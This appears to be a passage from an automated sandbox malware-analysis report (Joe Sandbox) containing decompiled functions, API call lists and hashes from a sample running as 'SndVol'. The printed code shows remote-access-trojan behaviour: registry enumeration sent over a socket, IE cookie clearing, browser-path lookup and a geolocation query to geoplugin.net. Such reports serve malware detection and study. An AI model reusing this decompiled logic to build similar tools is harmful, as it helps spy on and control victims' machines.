							_t97 = WideCharToMultiByte(_v60, 0,  &_v28, 1,  &_v24, 5, 0, 0);
							_v56 = _t97;
							if(_t97 != 0) {
								if(WriteFile(_v44,  &_v24, _t97,  &_v36, 0) == 0) {
									L19:
									 *_t135 = GetLastError();
								} else {
									 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 8)) - _v52 + _t133;
									if(_v36 >= _v56) {
										if(_v31 != 0xa) {
											goto L16;
										} else {
											_t105 = 0xd;
											_v32 = _t105;
											if(WriteFile(_v44,  &_v32, 1,  &_v36, 0) == 0) {
												goto L19;
											} else {
												if(_v36 >= 1) {
													 *((intOrPtr*)(_t135 + 8)) =  *((intOrPtr*)(_t135 + 8)) + 1;
													 *((intOrPtr*)(_t135 + 4)) =  *((intOrPtr*)(_t135 + 4)) + 1;
													goto L16;
												}
											}
										}
									}
								}
							}
						}
					}
					goto L20;
					L16:
				}
				L20:
				return E00434F3B(_v8 ^ _t136);
			}


































                                    0x0044b294
                                    0x0044b29b
                                    0x0044b29e
                                    0x0044b2a6
                                    0x0044b2aa
                                    0x0044b2b6
                                    0x0044b2b9
                                    0x0044b2bc
                                    0x0044b2c3
                                    0x0044b2cb
                                    0x0044b2ce
                                    0x0044b2d4
                                    0x0044b2da
                                    0x0044b2df
                                    0x0044b2e1
                                    0x0044b2e4
                                    0x0044b2e9
                                    0x0044b2f3
                                    0x0044b2fa
                                    0x0044b2fd
                                    0x0044b304
                                    0x0044b30b
                                    0x0044b337
                                    0x0044b35d
                                    0x0044b35f
                                    0x00000000
                                    0x0044b339
                                    0x0044b33c
                                    0x0044b403
                                    0x0044b40f
                                    0x0044b41a
                                    0x0044b41f
                                    0x0044b342
                                    0x0044b349
                                    0x0044b34e
                                    0x0044b354
                                    0x0044b35a
                                    0x00000000
                                    0x0044b35a
                                    0x0044b354
                                    0x0044b33c
                                    0x0044b30d
                                    0x0044b311
                                    0x0044b314
                                    0x0044b31a
                                    0x0044b31c
                                    0x0044b31f
                                    0x0044b323
                                    0x0044b360
                                    0x0044b363
                                    0x0044b364
                                    0x0044b369
                                    0x0044b36f
                                    0x0044b375
                                    0x0044b384
                                    0x0044b38a
                                    0x0044b390
                                    0x0044b395
                                    0x0044b3b1
                                    0x0044b424
                                    0x0044b42a
                                    0x0044b3b3
                                    0x0044b3bb
                                    0x0044b3c4
                                    0x0044b3ca
                                    0x00000000
                                    0x0044b3cc
                                    0x0044b3ce
                                    0x0044b3d1
                                    0x0044b3ea
                                    0x00000000
                                    0x0044b3ec
                                    0x0044b3f0
                                    0x0044b3f2
                                    0x0044b3f5
                                    0x00000000
                                    0x0044b3f5
                                    0x0044b3f0
                                    0x0044b3ea
                                    0x0044b3ca
                                    0x0044b3c4
                                    0x0044b3b1
                                    0x0044b395
                                    0x0044b36f
                                    0x00000000
                                    0x0044b3f8
                                    0x0044b3f8
                                    0x0044b42c
                                    0x0044b43e

                                    APIs
                                    • GetConsoleCP.KERNEL32(FF8BC35D,00000000,?,?,?,?,?,?,?,0044BA01,?,00000000,FF8BC35D,00000000,00000000,FF8BC369), ref: 0044B2CE
                                    • __fassign.LIBCMT ref: 0044B349
                                    • __fassign.LIBCMT ref: 0044B364
                                    • WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,FF8BC35D,00000005,00000000,00000000), ref: 0044B38A
                                    • WriteFile.KERNEL32(?,FF8BC35D,00000000,0044BA01,00000000,?,?,?,?,?,?,?,?,?,0044BA01,?), ref: 0044B3A9
                                    • WriteFile.KERNEL32(?,?,00000001,0044BA01,00000000,?,?,?,?,?,?,?,?,?,0044BA01,?), ref: 0044B3E2
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: FileWrite__fassign$ByteCharConsoleMultiWide
                                    • String ID:
                                    • API String ID: 1324828854-0
                                    • Opcode ID: 7f14d60be4bedc768f9c1ecc07add3f37f6dbe09138a2e94954e294804714371
                                    • Instruction ID: f090d794f9f27c09a0d5a189be77b534a319cbaeda9b8ffe45cc3fcec9b4533d
                                    • Opcode Fuzzy Hash: 7f14d60be4bedc768f9c1ecc07add3f37f6dbe09138a2e94954e294804714371
                                    • Instruction Fuzzy Hash: FB51B470900249AFDB14CFA8DC85AEEBBF4EF09300F14416BE955E7292D734D941CBA9
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00413C5B Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 135registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 86%
                                    			E00413C5B(short* __ecx, char __edx, void* __eflags, char _a4) {
				void* _v16;
				char _v28;
				char _v52;
				void* _v56;
				char _v76;
				void* _v80;
				char _v100;
				void* _v104;
				char _v124;
				void* _v128;
				char _v148;
				void* _v152;
				char _v172;
				void* _v176;
				char _v196;
				void* _v200;
				char _v220;
				void* _v224;
				char _v225;
				void* _v228;
				void* _v248;
				void* _v268;
				void* __ebx;
				void* __ebp;
				void* _t28;
				void* _t35;
				void* _t36;
				void* _t61;
				short* _t116;
				void* _t120;
				void* _t123;
				void* _t124;

				_t103 = __edx;
				_t123 =  &_v228 - 0x18;
				_v225 = __edx;
				_t116 = __ecx;
				E004020F6(_t61, _t123, __edx, __eflags,  &_a4);
				_t28 = E00413BCA(_t61, __eflags);
				_t124 = _t123 + 0x18;
				_t62 = 0;
				if(RegOpenKeyExW(_t28, _t116, 0, 0x20019,  &_v228) != 0) {
					E00402093(0, _t124 - 0x18, _t103, _t120, "3");
					_push(0x72);
					E00404AA1(0x4754f8, _t103, __eflags);
				} else {
					E004139A3(_v224, _t103);
					_t35 = E0041BC70(0,  &_v28, 0x4754c8);
					_t36 = E0041BC70(0x4754b0,  &_v52, 0x4754b0);
					_t129 = _v225;
					_t107 =  ==  ? "0" : "1";
					_t114 = E00402F10(0x4754b0,  &_v220, E00402F10(0x4754b0,  &_v196, E00402F10(0x4754b0,  &_v172, E00402EA1( &_v148, E00402F10(0x4754b0,  &_v124, E00402EA1( &_v100, E0040531E( &_v76,  ==  ? "0" : "1", 0x4754c8, 0x474ee0), _t36), 0x4754c8, _v225, 0x474ee0), _t35), 0x4754c8, _v225, 0x474ee0), 0x4754c8, _v225, 0x4754e0), 0x4754c8, _t129, 0x474ee0);
					E00402F10(0x4754b0, _t124 - 0x18, _t44, 0x4754c8, _t129, 0x475578);
					_push(0x71);
					E00404AA1(0x4754f8, _t44, _t129);
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					L00409057(0x4754b0, 0x4754c8, _t44, 0x466468);
					L00409057(0x4754b0, 0x4754b0, _t114, 0x466468);
					L00405AA6(0x4754b0, 0x4754e0, _t114, 0x4660a4);
					L00405AA6(0x4754b0, 0x475578, _t114, 0x4660a4);
					RegCloseKey(_v268);
					_t62 = 1;
				}
				E00401FD8();
				return _t62;
			}



































                                    0x00413c5b
                                    0x00413c65
                                    0x00413c68
                                    0x00413c6c
                                    0x00413c78
                                    0x00413c7d
                                    0x00413c82
                                    0x00413c89
                                    0x00413c9c
                                    0x00413e16
                                    0x00413e1b
                                    0x00413e22
                                    0x00413ca2
                                    0x00413ca6
                                    0x00413ccf
                                    0x00413ce4
                                    0x00413ce9
                                    0x00413d01
                                    0x00413d5b
                                    0x00413d5f
                                    0x00413d65
                                    0x00413d6c
                                    0x00413d75
                                    0x00413d7e
                                    0x00413d87
                                    0x00413d90
                                    0x00413d99
                                    0x00413da5
                                    0x00413db1
                                    0x00413dbd
                                    0x00413dc9
                                    0x00413dd6
                                    0x00413dde
                                    0x00413dee
                                    0x00413df9
                                    0x00413e02
                                    0x00413e08
                                    0x00413e08
                                    0x00413e2e
                                    0x00413e3f

                                    APIs
                                    • RegOpenKeyExW.ADVAPI32(00000000,00000000,00000000,00020019,?), ref: 00413C94
                                      • Part of subcall function 004139A3: RegQueryInfoKeyW.ADVAPI32(?,?,00000104,00000000,?,?,?,?,?,?,?,?), ref: 00413A0A
                                      • Part of subcall function 004139A3: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000104,00000000,?,?,?,?), ref: 00413A39
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    • RegCloseKey.ADVAPI32(00000000,004660A4,004660A4,00466468,00466468,00000071), ref: 00413E02
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEnumInfoOpenQuerysend
                                    • String ID: xUG$NG$NG$TG
                                    • API String ID: 3114080316-2811732169
                                    • Opcode ID: 20c57ca38ff7c8338e4f1dd31e129d1d6bed514a9690eed8ffd40f51755e7b85
                                    • Instruction ID: 7392cd5641bded279b2c0304395dd21d418357ee31aa44e5bc2f116595d18ca1
                                    • Opcode Fuzzy Hash: 20c57ca38ff7c8338e4f1dd31e129d1d6bed514a9690eed8ffd40f51755e7b85
                                    • Instruction Fuzzy Hash: 68417D316082405BC324F726D856AEF72959BD1348F40883FF54A671D2EF7C5D498AAE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B5DC Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 86%
                                    			E0041B5DC(void* __ecx, void* __eflags) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v44;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr* _t23;
				intOrPtr* _t25;
				intOrPtr* _t27;
				void* _t34;
				void* _t43;
				char* _t50;
				void* _t57;
				void* _t60;
				void* _t61;
				void* _t65;

				_t65 = __eflags;
				_t34 = __ecx;
				E00413569(__ecx, 0x80000000, L"http\\shell\\open\\command", 0);
				E004456F4(E00401F04(_t34));
				E00401F13(_t34, 0x80000000, _t57, E0040900E(_t34,  &_v44, 0, E0041CE25(_t34, L".exe") + 4));
				E00401F09();
				_t43 = _t61 - 0x18;
				E0040905C(_t34, _t43, 0x80000000, _t65, _t34);
				_push(_t43);
				E00401F13(_t34, 0x80000000, _t57, E0041BC94( &_v44, 0x80000000));
				E00401F09();
				_t5 =  &_v8; // 0x475338
				_t23 = E00402305(_t34, _t5);
				_t25 = E004022CA(_t34,  &_v12);
				_t27 = E00402305(_t34,  &_v16);
				_t50 =  &_v20;
				E00409BDB(_t50,  *_t27,  *_t25,  *_t23);
				if(E0041BF09(_t50) != 0) {
					_push(_t50);
					_t56 = L"program files\\";
					_t59 = E0041CE25(_t34, L"program files\\");
					if(_t31 != 0xffffffff) {
						E0041CE96(_t34, _t34, 0x80000000, _t56, _t60, _t59, E0043BA26(L"program files\\"), L"program files (x86)\\");
					}
				}
				return _t34;
			}






















                                    0x0041b5dc
                                    0x0041b5f1
                                    0x0041b5f3
                                    0x0041b602
                                    0x0041b627
                                    0x0041b62f
                                    0x0041b637
                                    0x0041b63a
                                    0x0041b63f
                                    0x0041b64e
                                    0x0041b656
                                    0x0041b65b
                                    0x0041b661
                                    0x0041b66e
                                    0x0041b67b
                                    0x0041b682
                                    0x0041b689
                                    0x0041b698
                                    0x0041b69a
                                    0x0041b69b
                                    0x0041b6a8
                                    0x0041b6ad
                                    0x0041b6bf
                                    0x0041b6bf
                                    0x0041b6ad
                                    0x0041b6cc

                                    APIs
                                      • Part of subcall function 00413569: RegOpenKeyExW.ADVAPI32(80000001,00000400,00000000,00020019,?,004750E4), ref: 0041358B
                                      • Part of subcall function 00413569: RegQueryValueExW.ADVAPI32(?,0040F261,00000000,00000000,?,00000400), ref: 004135AA
                                      • Part of subcall function 00413569: RegCloseKey.ADVAPI32(?), ref: 004135B3
                                      • Part of subcall function 0041BF09: GetCurrentProcess.KERNEL32(?,?,?,0040D9F8,WinDir,00000000,00000000), ref: 0041BF1A
                                    • _wcslen.LIBCMT ref: 0041B6B5
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                    • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                    • API String ID: 37874593-122982132
                                    • Opcode ID: 929b9cae682b2592b734a211ea50e6a15a5b483738fc788c899a0703c2ff2f48
                                    • Instruction ID: a20abd89a00933c37cf4da55b555851d623e7b4a3a436e48aedcc09c266eee15
                                    • Opcode Fuzzy Hash: 929b9cae682b2592b734a211ea50e6a15a5b483738fc788c899a0703c2ff2f48
                                    • Instruction Fuzzy Hash: 79219272A002042ADB14BAB58C96AFE766D9B45328F10043FF506B72D2FE7C9D484669
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040BE37 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 87COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 85%
                                    			E0040BE37(void* __eflags) {
				char _v28;
				char _v52;
				char _v76;
				char _v340;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t20;
				int _t34;
				void* _t40;
				void* _t41;
				char* _t42;
				void* _t48;
				void* _t60;
				void* _t62;
				void* _t63;
				void* _t64;

				_t42 =  &_v28;
				E004020DF(_t40, _t42);
				_push(_t42);
				_t41 = 0;
				_t17 = E004134F4( &_v52, 0x80000001, "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", "Cookies");
				_t64 = _t63 + 0xc;
				E00401FE2( &_v28, 0x80000001, _t60, _t17);
				E00401FD8();
				_t59 = 0x4660a4;
				_t20 = E00405B05(0x4660a4);
				_t68 = _t20;
				if(_t20 == 0) {
					ExpandEnvironmentStringsA(E00401FAB( &_v28),  &_v340, 0x104);
					__eflags = PathFileExistsA( &_v340);
					if(__eflags == 0) {
						goto L1;
					} else {
						E00402093(0,  &_v52, 0x4660a4, _t62,  &_v340);
						_t59 =  &_v52;
						_t34 = E0041C1E3(E00401F04(E0041BBB0( &_v76,  &_v52)),  &_v52);
						E00401F09();
						E00401FD8();
						__eflags = _t34;
						if(__eflags == 0) {
							__eflags = E00406AE1(0x475a00, "XP", 0);
							if(__eflags != 0) {
								_t41 = 1;
								E00402093(1, _t64 - 0x18,  &_v52, _t62, "\n[IE cookies cleared!]");
								E0040C126(1,  &_v52, _t62, __eflags);
								goto L8;
							}
						} else {
							_t48 = _t64 - 0x18;
							_push("\n[IE cookies cleared!]");
							goto L2;
						}
					}
				} else {
					L1:
					_t48 = _t64 - 0x18;
					_push("\n[IE cookies not found]");
					L2:
					E00402093(_t41, _t48, _t59, _t62);
					E0040C126(_t41, _t59, _t62, _t68);
					_t41 = 1;
					L8:
				}
				E00401FD8();
				return _t41;
			}





















                                    0x0040be40
                                    0x0040be45
                                    0x0040be4a
                                    0x0040be5d
                                    0x0040be5f
                                    0x0040be64
                                    0x0040be6b
                                    0x0040be73
                                    0x0040be78
                                    0x0040be80
                                    0x0040be85
                                    0x0040be87
                                    0x0040beb9
                                    0x0040becc
                                    0x0040bece
                                    0x00000000
                                    0x0040bed0
                                    0x0040beda
                                    0x0040bedf
                                    0x0040bef3
                                    0x0040befd
                                    0x0040bf05
                                    0x0040bf0a
                                    0x0040bf0c
                                    0x0040bf2d
                                    0x0040bf2f
                                    0x0040bf34
                                    0x0040bf3d
                                    0x0040bf42
                                    0x00000000
                                    0x0040bf42
                                    0x0040bf0e
                                    0x0040bf11
                                    0x0040bf13
                                    0x00000000
                                    0x0040bf13
                                    0x0040bf0c
                                    0x0040be89
                                    0x0040be89
                                    0x0040be8c
                                    0x0040be8e
                                    0x0040be93
                                    0x0040be93
                                    0x0040be98
                                    0x0040be9d
                                    0x0040bf47
                                    0x0040bf47
                                    0x0040bf4d
                                    0x0040bf59

                                    APIs
                                      • Part of subcall function 004134F4: RegOpenKeyExA.KERNEL32(80000001,00000400,00000000,00020019,?), ref: 00413518
                                      • Part of subcall function 004134F4: RegQueryValueExA.KERNEL32(?,?,00000000,00000000,?,00000400), ref: 00413535
                                      • Part of subcall function 004134F4: RegCloseKey.KERNEL32(?), ref: 00413540
                                    • ExpandEnvironmentStringsA.KERNEL32(00000000,?,00000104,00000000), ref: 0040BEB9
                                    • PathFileExistsA.SHLWAPI(?), ref: 0040BEC6
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEnvironmentExistsExpandFileOpenPathQueryStringsValue
                                    • String ID: [IE cookies cleared!]$[IE cookies not found]$Cookies$Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
                                    • API String ID: 1133728706-4073444585
                                    • Opcode ID: bafe15ca7399c245b2b595d62931a363d2e8a0d7c72ec8d996fdf8a199f882c6
                                    • Instruction ID: 90fbf541f3b59aa23ab3415313bd9cf1a4a4ca50f2810f846e249c46c7844475
                                    • Opcode Fuzzy Hash: bafe15ca7399c245b2b595d62931a363d2e8a0d7c72ec8d996fdf8a199f882c6
                                    • Instruction Fuzzy Hash: DE212171A40219A6CB04F7A5CC569FE77699F10704F80017FF602B72D2EF786A498ADE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00456AA3 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E00456AA3(char* _a4, short* _a8) {
				int _v8;
				void* __ecx;
				void* __esi;
				short* _t10;
				short* _t14;
				int _t15;
				short* _t16;
				void* _t26;
				int _t27;
				void* _t29;
				short* _t35;
				short* _t39;
				short* _t40;

				_push(_t29);
				if(_a4 != 0) {
					_t39 = _a8;
					__eflags = _t39;
					if(__eflags != 0) {
						_push(_t26);
						E004484B1(_t29, _t39, __eflags);
						asm("sbb ebx, ebx");
						_t35 = 0;
						_t27 = _t26 + 1;
						 *_t39 = 0;
						_t10 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, 0, 0);
						_v8 = _t10;
						__eflags = _t10;
						if(_t10 != 0) {
							_t40 = E00446087(_t29, _t10 + _t10);
							__eflags = _t40;
							if(_t40 != 0) {
								_t15 = MultiByteToWideChar(_t27, 0, _a4, 0xffffffff, _t40, _v8);
								__eflags = _t15;
								if(_t15 != 0) {
									_t16 = _t40;
									_t40 = 0;
									_t35 = 1;
									__eflags = 1;
									 *_a8 = _t16;
								} else {
									E004404F7(GetLastError());
								}
							}
							E00446652(_t40);
							_t14 = _t35;
						} else {
							E004404F7(GetLastError());
							_t14 = 0;
						}
					} else {
						 *((intOrPtr*)(E0044052D())) = 0x16;
						E0043BC3C();
						_t14 = 0;
					}
					return _t14;
				}
				 *((intOrPtr*)(E0044052D())) = 0x16;
				E0043BC3C();
				return 0;
			}
















                                    0x00456aa8
                                    0x00456aad
                                    0x00456ac7
                                    0x00456aca
                                    0x00456acc
                                    0x00456ae5
                                    0x00456ae7
                                    0x00456aee
                                    0x00456af0
                                    0x00456af9
                                    0x00456afa
                                    0x00456afe
                                    0x00456b04
                                    0x00456b07
                                    0x00456b09
                                    0x00456b23
                                    0x00456b26
                                    0x00456b28
                                    0x00456b35
                                    0x00456b3b
                                    0x00456b3d
                                    0x00456b51
                                    0x00456b53
                                    0x00456b57
                                    0x00456b57
                                    0x00456b58
                                    0x00456b3f
                                    0x00456b46
                                    0x00456b4b
                                    0x00456b3d
                                    0x00456b5b
                                    0x00456b60
                                    0x00456b0b
                                    0x00456b12
                                    0x00456b17
                                    0x00456b17
                                    0x00456ace
                                    0x00456ad3
                                    0x00456ad9
                                    0x00456ade
                                    0x00456ade
                                    0x00000000
                                    0x00456b65
                                    0x00456ab4
                                    0x00456aba
                                    0x00000000

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 5163f705b5a76722ed76b92f7eefec5395c85fe3c1704548f4a356ce2d550a91
                                    • Instruction ID: 3bd2b074ad8c9dedcd141c909e6f863496308d60d46c972ab208c6af5c6e583b
                                    • Opcode Fuzzy Hash: 5163f705b5a76722ed76b92f7eefec5395c85fe3c1704548f4a356ce2d550a91
                                    • Instruction Fuzzy Hash: E8112771504224BBDB206F769C04D5F7A9CEF85326B52052EBD15D7252DE3CCC01C679
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041B2D2 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 90%
                                    			E0041B2D2(void* __ecx, void* __edx) {
				WCHAR* _v36;
				long _v80;
				char _v88;
				int _v92;
				intOrPtr _v96;
				void* _v100;
				int _v104;
				intOrPtr _v108;
				void* __ebx;
				void* __ebp;
				int _t16;
				void* _t24;
				intOrPtr _t27;
				void* _t32;
				void* _t33;
				void* _t35;
				void* _t37;

				_t32 = __edx;
				_t25 = __ecx;
				_t24 = __ecx;
				E004020DF(__ecx, __ecx);
				_push(0xffff);
				_v36 = 0;
				_t33 = E0043BCA1(_t25);
				_t37 = InternetOpenW(0, 1, 0, 0, 0);
				_t35 = InternetOpenUrlW(_t37, L"http://geoplugin.net/json.gp", 0, 0, 0x80000000, 0);
				do {
					_v80 = _v80 & 0x00000000;
					_t16 = InternetReadFile(_t35, _t33, 0xffff,  &_v80);
					_t27 = _v96;
					_v92 = _t16;
					_t40 = _t27;
					if(_t27 != 0) {
						L00403376(E004020B7(_t24,  &_v88, _t32, _t37, _t40, _t33, _t27));
						E00401FD8();
						_t27 = _v108;
						_t16 = _v104;
					}
				} while (_t16 == 1 && _t27 != 0);
				InternetCloseHandle(_t35);
				InternetCloseHandle(_t37);
				L0043BC9C(_t33);
				return _t24;
			}




















                                    0x0041b2d2
                                    0x0041b2d2
                                    0x0041b2d9
                                    0x0041b2db
                                    0x0041b2e2
                                    0x0041b2e7
                                    0x0041b2f7
                                    0x0041b307
                                    0x0041b315
                                    0x0041b317
                                    0x0041b317
                                    0x0041b328
                                    0x0041b32e
                                    0x0041b332
                                    0x0041b336
                                    0x0041b338
                                    0x0041b348
                                    0x0041b351
                                    0x0041b356
                                    0x0041b35a
                                    0x0041b35a
                                    0x0041b35e
                                    0x0041b36e
                                    0x0041b371
                                    0x0041b374
                                    0x0041b383

                                    APIs
                                    • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B2F9
                                    • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B30F
                                    • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B328
                                    • InternetCloseHandle.WININET(00000000), ref: 0041B36E
                                    • InternetCloseHandle.WININET(00000000), ref: 0041B371
                                    Strings
                                    • http://geoplugin.net/json.gp, xrefs: 0041B309
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Internet$CloseHandleOpen$FileRead
                                    • String ID: http://geoplugin.net/json.gp
                                    • API String ID: 3121278467-91888290
                                    • Opcode ID: 3cceabe156c5f6aac1f10ed8d5c9e17f3fc16dca3cd8386ad9d271ef823fca9b
                                    • Instruction ID: f09c8d1552589260749718d6f29969d9bd0e7e96454510ae453530381f1b8476
                                    • Opcode Fuzzy Hash: 3cceabe156c5f6aac1f10ed8d5c9e17f3fc16dca3cd8386ad9d271ef823fca9b
                                    • Instruction Fuzzy Hash: 6811C8311053166BD224AB269C49EBF7F9CEF86765F00043EF905A2291DB68DC45C6F6
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00450E4B Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00450E4B(intOrPtr _a4) {
				void* _t18;

				_t45 = _a4;
				if(_a4 != 0) {
					E00450B92(_t45, 7);
					E00450B92(_t45 + 0x1c, 7);
					E00450B92(_t45 + 0x38, 0xc);
					E00450B92(_t45 + 0x68, 0xc);
					E00450B92(_t45 + 0x98, 2);
					E00446652( *((intOrPtr*)(_t45 + 0xa0)));
					E00446652( *((intOrPtr*)(_t45 + 0xa4)));
					E00446652( *((intOrPtr*)(_t45 + 0xa8)));
					E00450B92(_t45 + 0xb4, 7);
					E00450B92(_t45 + 0xd0, 7);
					E00450B92(_t45 + 0xec, 0xc);
					E00450B92(_t45 + 0x11c, 0xc);
					E00450B92(_t45 + 0x14c, 2);
					E00446652( *((intOrPtr*)(_t45 + 0x154)));
					E00446652( *((intOrPtr*)(_t45 + 0x158)));
					E00446652( *((intOrPtr*)(_t45 + 0x15c)));
					return E00446652( *((intOrPtr*)(_t45 + 0x160)));
				}
				return _t18;
			}




                                    0x00450e51
                                    0x00450e56
                                    0x00450e5f
                                    0x00450e6a
                                    0x00450e75
                                    0x00450e80
                                    0x00450e8e
                                    0x00450e99
                                    0x00450ea4
                                    0x00450eaf
                                    0x00450ebd
                                    0x00450ecb
                                    0x00450edc
                                    0x00450eea
                                    0x00450ef8
                                    0x00450f03
                                    0x00450f0e
                                    0x00450f19
                                    0x00000000
                                    0x00450f29
                                    0x00450f2e

                                    APIs
                                      • Part of subcall function 00450B92: _free.LIBCMT ref: 00450BBB
                                    • _free.LIBCMT ref: 00450E99
                                      • Part of subcall function 00446652: HeapFree.KERNEL32(00000000,00000000,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?), ref: 00446668
                                      • Part of subcall function 00446652: GetLastError.KERNEL32(?,?,00450BC0,?,00000000,?,00000000,?,00450E64,?,00000007,?,?,004513AF,?,?), ref: 0044667A
                                    • _free.LIBCMT ref: 00450EA4
                                    • _free.LIBCMT ref: 00450EAF
                                    • _free.LIBCMT ref: 00450F03
                                    • _free.LIBCMT ref: 00450F0E
                                    • _free.LIBCMT ref: 00450F19
                                    • _free.LIBCMT ref: 00450F24
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorFreeHeapLast
                                    • String ID:
                                    • API String ID: 776569668-0
                                    • Opcode ID: e6862f50bdfb19e703ceb93494df2a480b9e086095d1541665fc20bc27fa83d7
                                    • Instruction ID: be6be3c1959307979db5cd551a6b4e92cce43279e9670bc8d660dc1b43e249d7
                                    • Opcode Fuzzy Hash: e6862f50bdfb19e703ceb93494df2a480b9e086095d1541665fc20bc27fa83d7
                                    • Instruction Fuzzy Hash: F7118431941B04A6E920BFB2CC87FCB779D6F01709F418C2FB69A66053D67CB9094799
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0043A2AA Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E0043A2AA(void* __ecx) {
				void* _t4;
				void* _t11;
				void* _t16;
				long _t25;
				void* _t28;

				if( *0x471090 != 0xffffffff) {
					_t25 = GetLastError();
					_t11 = E00438D58(__eflags,  *0x471090);
					__eflags = _t11 - 0xffffffff;
					if(_t11 == 0xffffffff) {
						L5:
						_t11 = 0;
					} else {
						__eflags = _t11;
						if(__eflags == 0) {
							_t4 = E00438D92(__eflags,  *0x471090, 0xffffffff);
							_pop(_t16);
							__eflags = _t4;
							if(_t4 != 0) {
								_t28 = E00445A43(_t16, 1, 0x28);
								__eflags = _t28;
								if(__eflags == 0) {
									L8:
									_t11 = 0;
									E00438D92(__eflags,  *0x471090, 0);
								} else {
									__eflags = E00438D92(__eflags,  *0x471090, _t28);
									if(__eflags != 0) {
										_t11 = _t28;
										_t28 = 0;
										__eflags = 0;
									} else {
										goto L8;
									}
								}
								E00446652(_t28);
							} else {
								goto L5;
							}
						}
					}
					SetLastError(_t25);
					return _t11;
				} else {
					return 0;
				}
			}








                                    0x0043a2b1
                                    0x0043a2c4
                                    0x0043a2cb
                                    0x0043a2ce
                                    0x0043a2d1
                                    0x0043a2ea
                                    0x0043a2ea
                                    0x0043a2d3
                                    0x0043a2d3
                                    0x0043a2d5
                                    0x0043a2df
                                    0x0043a2e5
                                    0x0043a2e6
                                    0x0043a2e8
                                    0x0043a2f8
                                    0x0043a2fc
                                    0x0043a2fe
                                    0x0043a312
                                    0x0043a312
                                    0x0043a31b
                                    0x0043a300
                                    0x0043a30e
                                    0x0043a310
                                    0x0043a324
                                    0x0043a326
                                    0x0043a326
                                    0x00000000
                                    0x00000000
